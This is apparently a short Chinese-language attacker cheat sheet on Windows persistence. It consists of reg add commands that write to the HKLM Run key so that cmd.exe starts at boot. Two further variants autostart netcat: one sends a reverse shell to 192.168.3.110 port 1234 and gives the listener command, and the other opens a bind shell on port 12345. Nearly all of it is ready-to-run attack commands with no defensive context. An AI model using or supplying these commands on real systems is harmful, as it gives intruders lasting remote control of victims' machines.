- 例如開機自啟cmd
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v processname /t reg_sz /d "C:\Windows\System32\cmd.exe" /f
1.jpg
2.jpg
- 自啟nc反彈shell(一)
#反彈shell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "processname" /t reg_sz /d "C:\Windows\System32\nc.exe -e cmd.exe 192.168.3.110 1234"
#接收shell
nc -lvvp 1234
- 自啟nc反彈shell(二)
#反彈shell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "processname" /t reg_sz /d "C:\Windows\System32\nc.exe -Ldp 12345 -e cmd.exe"
#接收shell
nc ip port 連接
